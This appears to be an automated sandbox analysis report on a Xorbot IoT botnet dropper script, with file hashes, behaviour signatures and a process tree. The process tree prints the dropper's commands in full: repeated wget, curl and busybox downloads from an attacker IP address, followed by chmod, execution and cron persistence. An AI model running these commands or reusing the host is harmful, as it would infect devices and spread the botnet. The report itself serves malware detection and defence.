Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    30-11-2024 22:07

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    31630671c0f915f24de0fce6c46288f4

  • SHA1

    ad952584e70499f7eec145402a2853f13911a948

  • SHA256

    d17bddc04d883ddfc099121b2747c9ab72f0eb94155adf825fbc26f509ad20f9

  • SHA512

    6d841292f6f0664deafd38e9d8bdb77e5893b892ca120b4080196238f724cc82ab43d60521e05ce6f323b4ca8866f2695f0b34b46c2c050d9f5856cc79afff2a

  • SSDEEP

    192:Pk8v1zpvF+KVQUNa/YJU555N5l585s51ckNwmNGNGgBLcnCn6n0nlnBnYp555N5y:PkYUYJUz7jW6AkNwmNGNGgBLcC60lBYu

Malware Config

Signatures

  • Detects Xorbot 6 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (2043) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 9 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:644
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:653
        • /usr/bin/wget
          wget http://216.126.231.240/bins/cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
          2⤵
          • Writes file to tmp directory
          PID:654
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:670
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
          2⤵
          • Writes file to tmp directory
          PID:678
        • /bin/chmod
          chmod 777 cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
          2⤵
          • File and Directory Permissions Modification
          PID:679
        • /tmp/cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
          ./cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:680
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:682
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:683
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:684
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:685
              • /bin/rm
                rm cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
                2⤵
                  PID:687
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/EbsyvJCG9oKSsKHoY1FfOLIVkh87Xjhn3l
                  2⤵
                    PID:690
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/EbsyvJCG9oKSsKHoY1FfOLIVkh87Xjhn3l
                    2⤵
                      PID:691
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/EbsyvJCG9oKSsKHoY1FfOLIVkh87Xjhn3l
                      2⤵
                      • Writes file to tmp directory
                      PID:753
                    • /bin/chmod
                      chmod 777 EbsyvJCG9oKSsKHoY1FfOLIVkh87Xjhn3l
                      2⤵
                      • File and Directory Permissions Modification
                      PID:778
                    • /tmp/EbsyvJCG9oKSsKHoY1FfOLIVkh87Xjhn3l
                      ./EbsyvJCG9oKSsKHoY1FfOLIVkh87Xjhn3l
                      2⤵
                      • Executes dropped EXE
                      PID:779
                    • /bin/rm
                      rm EbsyvJCG9oKSsKHoY1FfOLIVkh87Xjhn3l
                      2⤵
                        PID:783
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
                        2⤵
                          PID:785
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
                          2⤵
                            PID:786
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
                            2⤵
                            • Writes file to tmp directory
                            PID:789
                          • /bin/chmod
                            chmod 777 Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
                            2⤵
                            • File and Directory Permissions Modification
                            PID:800
                          • /tmp/Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
                            ./Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
                            2⤵
                            • Executes dropped EXE
                            PID:802
                          • /bin/rm
                            rm Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
                            2⤵
                              PID:804
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/oDxmfgwXBZxAaC7O95eg2v5jMIoKIYcyMN
                              2⤵
                                PID:810
                              • /usr/bin/curl
                                curl -O http://216.126.231.240/bins/oDxmfgwXBZxAaC7O95eg2v5jMIoKIYcyMN
                                2⤵
                                  PID:812
                                • /bin/busybox
                                  /bin/busybox wget http://216.126.231.240/bins/oDxmfgwXBZxAaC7O95eg2v5jMIoKIYcyMN
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:814
                                • /bin/chmod
                                  chmod 777 oDxmfgwXBZxAaC7O95eg2v5jMIoKIYcyMN
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:818
                                • /tmp/oDxmfgwXBZxAaC7O95eg2v5jMIoKIYcyMN
                                  ./oDxmfgwXBZxAaC7O95eg2v5jMIoKIYcyMN
                                  2⤵
                                  • Executes dropped EXE
                                  PID:822
                                • /bin/rm
                                  rm oDxmfgwXBZxAaC7O95eg2v5jMIoKIYcyMN
                                  2⤵
                                    PID:823
                                  • /usr/bin/wget
                                    wget http://216.126.231.240/bins/Ptui8Wvz6ZL7tXiIrHsfWgThBa7oREStF1
                                    2⤵
                                      PID:824
                                    • /usr/bin/curl
                                      curl -O http://216.126.231.240/bins/Ptui8Wvz6ZL7tXiIrHsfWgThBa7oREStF1
                                      2⤵
                                        PID:830
                                      • /bin/busybox
                                        /bin/busybox wget http://216.126.231.240/bins/Ptui8Wvz6ZL7tXiIrHsfWgThBa7oREStF1
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:832
                                      • /bin/chmod
                                        chmod 777 Ptui8Wvz6ZL7tXiIrHsfWgThBa7oREStF1
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:835
                                      • /tmp/Ptui8Wvz6ZL7tXiIrHsfWgThBa7oREStF1
                                        ./Ptui8Wvz6ZL7tXiIrHsfWgThBa7oREStF1
                                        2⤵
                                        • Executes dropped EXE
                                        PID:837
                                      • /bin/rm
                                        rm Ptui8Wvz6ZL7tXiIrHsfWgThBa7oREStF1
                                        2⤵
                                          PID:838
                                        • /usr/bin/wget
                                          wget http://216.126.231.240/bins/cy3NRTEdjQa0sDAzHSfo07cpUkRqca5Vxp
                                          2⤵
                                            PID:840
                                          • /usr/bin/curl
                                            curl -O http://216.126.231.240/bins/cy3NRTEdjQa0sDAzHSfo07cpUkRqca5Vxp
                                            2⤵
                                              PID:841
                                            • /bin/busybox
                                              /bin/busybox wget http://216.126.231.240/bins/cy3NRTEdjQa0sDAzHSfo07cpUkRqca5Vxp
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:843
                                            • /bin/chmod
                                              chmod 777 cy3NRTEdjQa0sDAzHSfo07cpUkRqca5Vxp
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:847
                                            • /tmp/cy3NRTEdjQa0sDAzHSfo07cpUkRqca5Vxp
                                              ./cy3NRTEdjQa0sDAzHSfo07cpUkRqca5Vxp
                                              2⤵
                                              • Executes dropped EXE
                                              PID:848
                                            • /bin/rm
                                              rm cy3NRTEdjQa0sDAzHSfo07cpUkRqca5Vxp
                                              2⤵
                                                PID:850
                                              • /usr/bin/wget
                                                wget http://216.126.231.240/bins/mm9UckjwowSduAeKnKtNwkrGjal3U3k6Kd
                                                2⤵
                                                  PID:852
                                                • /usr/bin/curl
                                                  curl -O http://216.126.231.240/bins/mm9UckjwowSduAeKnKtNwkrGjal3U3k6Kd
                                                  2⤵
                                                    PID:859
                                                  • /bin/busybox
                                                    /bin/busybox wget http://216.126.231.240/bins/mm9UckjwowSduAeKnKtNwkrGjal3U3k6Kd
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:861
                                                  • /bin/chmod
                                                    chmod 777 mm9UckjwowSduAeKnKtNwkrGjal3U3k6Kd
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:868
                                                  • /tmp/mm9UckjwowSduAeKnKtNwkrGjal3U3k6Kd
                                                    ./mm9UckjwowSduAeKnKtNwkrGjal3U3k6Kd
                                                    2⤵
                                                    • Executes dropped EXE
                                                    PID:869
                                                  • /bin/rm
                                                    rm mm9UckjwowSduAeKnKtNwkrGjal3U3k6Kd
                                                    2⤵
                                                      PID:871
                                                    • /usr/bin/wget
                                                      wget http://216.126.231.240/bins/fJQ1qjPBRWoJTLV84CxDIYFKHBQQxLey7I
                                                      2⤵
                                                        PID:873

                                                    Network

                                                    MITRE ATT&CK Enterprise v15

                                                    Replay Monitor

                                                    Loading Replay Monitor...

                                                    Downloads

                                                    • /tmp/EbsyvJCG9oKSsKHoY1FfOLIVkh87Xjhn3l

                                                      Filesize

                                                      122KB

                                                      MD5

                                                      cd3d4b9c643e5b473fb4d88ed05f0716

                                                      SHA1

                                                      64ee7a97418583d759eaea8000890cc3bae1b5f4

                                                      SHA256

                                                      0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                                      SHA512

                                                      164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                                    • /tmp/Ptui8Wvz6ZL7tXiIrHsfWgThBa7oREStF1

                                                      Filesize

                                                      119KB

                                                      MD5

                                                      1b166b95f9cb4b079ef1b9ec8363ddf3

                                                      SHA1

                                                      0d8eb08add467b3b5474f9b25909297fe7c2839c

                                                      SHA256

                                                      94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                                      SHA512

                                                      983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                                    • /tmp/Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd

                                                      Filesize

                                                      98KB

                                                      MD5

                                                      5141342d0df8699fa32a6b066a0c592e

                                                      SHA1

                                                      8157673225bd5182f16215e2aa823a25ca2d4fbc

                                                      SHA256

                                                      54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                                      SHA512

                                                      d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                                    • /tmp/cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2

                                                      Filesize

                                                      141KB

                                                      MD5

                                                      3ca8decdb1e52c423c521bfff02ac200

                                                      SHA1

                                                      8621ecd6807109b8541912ad9e134f6fb49bfd48

                                                      SHA256

                                                      dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                                      SHA512

                                                      b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                                    • /tmp/cy3NRTEdjQa0sDAzHSfo07cpUkRqca5Vxp

                                                      Filesize

                                                      107KB

                                                      MD5

                                                      eb9c3a0de91fcf16ba17cb24608df68c

                                                      SHA1

                                                      09d95a7d70d5e115d103be51edff7c498d272fac

                                                      SHA256

                                                      dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                                      SHA512

                                                      9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                                    • /tmp/mm9UckjwowSduAeKnKtNwkrGjal3U3k6Kd

                                                      Filesize

                                                      112KB

                                                      MD5

                                                      05d7857dcead18bbd86d2935f591873c

                                                      SHA1

                                                      34d18f41ef35f93d5364ce3e24d74730a4e91985

                                                      SHA256

                                                      2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                                      SHA512

                                                      d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                                    • /tmp/oDxmfgwXBZxAaC7O95eg2v5jMIoKIYcyMN

                                                      Filesize

                                                      177KB

                                                      MD5

                                                      786d75a158fe731feca3880f436082c0

                                                      SHA1

                                                      79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                                      SHA256

                                                      5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                                      SHA512

                                                      7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                                    • /var/spool/cron/crontabs/tmp.5K1rpG

                                                      Filesize

                                                      210B

                                                      MD5

                                                      02e38cd90448d7d60fd132357cf4fe02

                                                      SHA1

                                                      d9fb0cb61b81ea2f3375777eae317791e5493a58

                                                      SHA256

                                                      021dea038989a008a3209306144307b1d5db99d9e56b378259edc546a92cfd44

                                                      SHA512

                                                      65c7644937b0c439d7972a7a0f4374eae44e753309b78ed7096037de4a32e381eb46d8995167df68391f301542f7a402d8a425a6fa6af38ddaa689517f2316a5